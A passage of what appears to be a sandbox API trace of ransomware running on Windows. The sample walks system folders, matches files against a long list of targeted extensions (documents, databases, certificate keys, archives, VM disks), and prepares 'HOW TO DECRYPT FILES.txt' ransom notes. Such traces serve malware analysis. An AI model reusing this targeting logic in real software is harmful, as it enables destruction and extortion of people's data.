pszSpec="*.sql") returned 0 [0112.159] lstrlenA (lpString="*.sql") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mdb") returned 0 [0112.159] lstrlenA (lpString="*.mdb") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.fdb") returned 0 [0112.159] lstrlenA (lpString="*.fdb") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.wab") returned 0 [0112.159] lstrlenA (lpString="*.wab") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.dat") returned 0 [0112.159] lstrlenA (lpString="*.dat") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.txt") returned 0 [0112.159] lstrlenA (lpString="*.txt") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.jpeg") returned 0 [0112.159] lstrlenA (lpString="*.jpeg") returned 6 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.jpg") returned 0 [0112.159] lstrlenA (lpString="*.jpg") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.png") returned 0 [0112.159] lstrlenA (lpString="*.png") returned 5 [0112.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.php") returned 0 [0112.159] lstrlenA (lpString="*.php") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.cs") returned 0 [0112.160] lstrlenA (lpString="*.cs") returned 4 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.cpp") returned 0 [0112.160] lstrlenA (lpString="*.cpp") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.rar") returned 0 [0112.160] lstrlenA (lpString="*.rar") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.zip") returned 0 [0112.160] lstrlenA (lpString="*.zip") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.html") returned 0 [0112.160] lstrlenA (lpString="*.html") returned 6 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.htm") returned 0 [0112.160] lstrlenA (lpString="*.htm") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.xlsx") returned 0 [0112.160] lstrlenA (lpString="*.xlsx") returned 6 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.xls") returned 0 [0112.160] lstrlenA (lpString="*.xls") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mp4") returned 0 [0112.160] lstrlenA (lpString="*.mp4") returned 5 [0112.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.ppt") returned 0 [0112.161] lstrlenA (lpString="*.ppt") returned 5 [0112.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.pptx") returned 0 [0112.161] lstrlenA (lpString="*.pptx") returned 6 [0112.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.doc") returned 0 [0112.161] lstrlenA (lpString="*.doc") returned 5 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.dot") returned 0 [0112.164] lstrlenA (lpString="*.dot") returned 5 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.docx") returned 0 [0112.164] lstrlenA (lpString="*.docx") returned 6 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.7z") returned 0 [0112.164] lstrlenA (lpString="*.7z") returned 4 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.tar") returned 0 [0112.164] lstrlenA (lpString="*.tar") returned 5 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.bz2") returned 0 [0112.164] lstrlenA (lpString="*.bz2") returned 5 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.gz") returned 0 [0112.164] lstrlenA (lpString="*.gz") returned 4 [0112.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mkv") returned 0 [0112.165] lstrlenA (lpString="*.mkv") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.eml") returned 0 [0112.165] lstrlenA (lpString="*.eml") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.msg") returned 0 [0112.165] lstrlenA (lpString="*.msg") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.edb") returned 0 [0112.165] lstrlenA (lpString="*.edb") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.accdb") returned 0 [0112.165] lstrlenA (lpString="*.accdb") returned 7 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.odb") returned 0 [0112.165] lstrlenA (lpString="*.odb") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.java") returned 0 [0112.165] lstrlenA (lpString="*.java") returned 6 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.asm") returned 0 [0112.165] lstrlenA (lpString="*.asm") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.pfx") returned 0 [0112.165] lstrlenA (lpString="*.pfx") returned 5 [0112.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.pem") returned 0 [0112.165] lstrlenA (lpString="*.pem") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.p12") returned 0 [0112.166] lstrlenA (lpString="*.p12") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.gpg") returned 0 [0112.166] lstrlenA (lpString="*.gpg") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.vsd") returned 0 [0112.166] lstrlenA (lpString="*.vsd") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.odg") returned 0 [0112.166] lstrlenA (lpString="*.odg") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.raw") returned 0 [0112.166] lstrlenA (lpString="*.raw") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.nef") returned 0 [0112.166] lstrlenA (lpString="*.nef") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.svg") returned 0 [0112.166] lstrlenA (lpString="*.svg") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.psd") returned 0 [0112.166] lstrlenA (lpString="*.psd") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.vmx") returned 0 [0112.166] lstrlenA (lpString="*.vmx") returned 5 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.vmdk") returned 0 [0112.166] lstrlenA (lpString="*.vmdk") returned 6 [0112.166] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.vdi") returned 0 [0112.167] lstrlenA (lpString="*.vdi") returned 5 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.lay6") returned 0 [0112.167] lstrlenA (lpString="*.lay6") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mpeg") returned 0 [0112.167] lstrlenA (lpString="*.mpeg") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.djvu") returned 0 [0112.167] lstrlenA (lpString="*.djvu") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.tiff") returned 0 [0112.167] lstrlenA (lpString="*.tiff") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.backup") returned 0 [0112.167] lstrlenA (lpString="*.backup") returned 8 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.pdf") returned 0 [0112.167] lstrlenA (lpString="*.pdf") returned 5 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.cert") returned 0 [0112.167] lstrlenA (lpString="*.cert") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.docm") returned 0 [0112.167] lstrlenA (lpString="*.docm") returned 6 [0112.167] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.xlsm") returned 0 [0112.167] lstrlenA (lpString="*.xlsm") returned 6 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.dwg") returned 0 [0112.168] lstrlenA (lpString="*.dwg") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.nd") returned 0 [0112.168] lstrlenA (lpString="*.nd") returned 4 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.tlg") returned 0 [0112.168] lstrlenA (lpString="*.tlg") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.lgb") returned 0 [0112.168] lstrlenA (lpString="*.lgb") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mov") returned 0 [0112.168] lstrlenA (lpString="*.mov") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.xdw") returned 0 [0112.168] lstrlenA (lpString="*.xdw") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.ods") returned 0 [0112.168] lstrlenA (lpString="*.ods") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.wav") returned 0 [0112.168] lstrlenA (lpString="*.wav") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.mp3") returned 0 [0112.168] lstrlenA (lpString="*.mp3") returned 5 [0112.168] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.aiff") returned 0 [0112.168] lstrlenA (lpString="*.aiff") returned 6 [0112.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.flac") returned 0 [0112.169] lstrlenA (lpString="*.flac") returned 6 [0112.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.m4a") returned 0 [0112.169] lstrlenA (lpString="*.m4a") returned 5 [0112.169] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationUI\\d7c71f43e6d6e92221717345e6156044\\PresentationUI.ni.dll", pszSpec="*.csv") returned 0 [0112.169] lstrlenA (lpString="*.csv") returned 5 [0112.169] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee15e02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ee15e02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ee3bf63, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x203200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.169] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.169] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8eed44e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8eed44e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8eed44e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d7c71f43e6d6e92221717345e6156044", cAlternateFileName="D7C71F~1")) returned 0 [0112.169] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.169] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="ReachFramework", cAlternateFileName="REACHF~1")) returned 1 [0112.169] lstrcmpA (lpString1=".", lpString2="ReachFramework") returned -1 [0112.169] lstrcmpA (lpString1="..", lpString2="ReachFramework") returned -1 [0112.169] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.170] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ReachFramework" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework" [0112.170] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework") returned 61 [0112.170] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.170] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.170] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.170] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.170] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.170] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="34177215bbd2e05eb6d59d40a0a98f96", cAlternateFileName="341772~1")) returned 1 [0112.170] lstrcmpA (lpString1=".", lpString2="34177215bbd2e05eb6d59d40a0a98f96") returned -1 [0112.170] lstrcmpA (lpString1="..", lpString2="34177215bbd2e05eb6d59d40a0a98f96") returned -1 [0112.170] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\*.*") returned="*.*" [0112.171] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\", lpString2="34177215bbd2e05eb6d59d40a0a98f96" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96" [0112.171] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96") returned 94 [0112.171] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.188] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.188] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917259ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x917259ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x917259ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.188] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.188] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161b02c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9161b02c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x916672ec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2f8c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.ni.dll", cAlternateFileName="REACHF~1.DLL")) returned 1 [0112.188] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReachFramework.ni.dll") returned -1 [0112.189] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReachFramework.ni.dll") returned -1 [0112.189] lstrcmpiA (lpString1="", lpString2="ReachFramework.ni.dll") returned -1 [0112.189] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\*.*") returned="*.*" [0112.189] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\" [0112.189] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\") returned="" [0112.189] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\HOW TO DECRYPT FILES.txt" [0112.189] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ReachFramework\\34177215bbd2e05eb6d59d40a0a98f96\\HOW TO DECRYPT FILES.txt" (normalized: 